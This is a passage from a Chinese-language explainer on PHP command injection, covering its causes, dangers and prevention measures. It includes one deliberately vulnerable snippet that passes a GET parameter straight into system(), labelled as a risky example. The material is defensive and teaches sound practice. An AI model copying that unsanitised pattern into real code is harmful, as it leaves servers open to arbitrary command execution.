- 系统命令执行函数使用不当:PHP 中有一些函数可以执行系统命令,如
system()
、exec()
、shell_exec()
等。如果在使用这些函数时,直接将用户输入作为命令的一部分,而没有对输入进行过滤和转义,攻击者就可以通过构造恶意输入来执行任意系统命令。
php
// 存在命令注入风险的示例
$cmd = "ls " . $_GET['dir'];
system($cmd);
- 缺乏输入验证:开发者没有对用户输入进行充分的验证和过滤,使得攻击者可以在输入中添加额外的命令或特殊字符,从而绕过正常的命令执行逻辑。
危害
- 服务器被控制:攻击者可以执行系统命令,如添加新用户、修改系统配置、安装后门程序等,从而完全控制服务器。
- 数据丢失或损坏:攻击者可以执行删除文件、格式化磁盘等命令,导致服务器上的数据丢失或损坏。
- 网络攻击:攻击者可以利用被控制的服务器作为跳板,对其他服务器或网络进行攻击,如发起 DDoS 攻击、进行端口扫描等。
防范建议
- 输入验证和过滤:对所有用户输入进行严格的验证和过滤,只允许合法的字符和格式通过。可以使用正则表达式、白名单等方式进行验证。
- 使用安全的函数和方法:尽量避免使用
eval()
、assert()
等危险函数,以及system()
、exec()
等执行系统命令的函数。如果必须使用,要对输入进行严格的过滤和转义。 - 最小权限原则:确保应用程序运行的用户账户具有最小的权限,避免因权限过高而导致的安全风险。
- 定期更新和维护:及时更新 PHP 版本和相关的扩展库,修复已知的安全漏洞。同时,定期对应用程序进行安全审计和漏洞扫描。